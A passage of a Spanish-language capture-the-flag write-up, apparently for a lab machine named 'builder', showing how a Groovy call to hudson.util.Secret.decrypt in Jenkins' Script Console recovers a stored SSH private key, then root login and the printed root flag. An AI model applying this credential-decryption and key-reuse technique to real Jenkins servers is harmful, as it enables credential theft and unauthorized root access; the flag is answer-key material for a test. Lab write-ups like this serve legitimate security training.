En el apartado ‘Dashboard > Manage Jenkins > Script Console’ podemos ejecutar comandos con Groovy script en el contenedor.
Si ahora vamos al apartado de credenciales en el código encontramos un value.
Si buscamos en internet jenkins decrypt cypher, encontramos una pagina que nos da el siguiente comando
println(hudson.util.Secret.decrypt("{XXX=}"))
Vamos a poner dentro de los corchetes el values para ver si nos da la private key
Y efectivamente la hemos sacado. Vamos a copiarla en un archivo y a intentar conectarnos por ssh.
❯ sudo nano id_rsa
❯ chmod 600 id_rsa
chmod: changing permissions of 'id_rsa': Operation not permitted
❯ sudo chmod 600 id_rsa
❯ ssh -i id_rsa root@
❯ ssh -id id_rsa root@-----BEGIN OPENSSH PRIVATE KEY-----
❯ sudo nano id_rsa
❯ sudo chmod 600 id_rsa
❯ sudo ssh -i id_rsa root@10.10.11.10
The authenticity of host '10.10.11.10 (10.10.11.10)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '10.10.11.10' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-94-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Fri Jun 7 09:24:13 PM UTC 2024
System load: 0.04541015625
Usage of /: 67.0% of 5.81GB
Memory usage: 36%
Swap usage: 0%
Processes: 221
Users logged in: 0
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.11.10
IPv6 address for eth0: dead:beef::250:56ff:feb9:4476
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Jun 7 15:06:32 2024 from 10.10.14.180
root@builder:~# whoami
root
root@builder:~# hostname -I
10.10.11.10 172.17.0.1 dead:beef::250:56ff:feb9:4476
---------------------------
root@builder:~# cd /root/
root@builder:~# pwd
/root
root@builder:~# ls
root.txt
root@builder:~# cat root.txt
c3feda77166e8888820eb515ad4f838a
root@builder:~#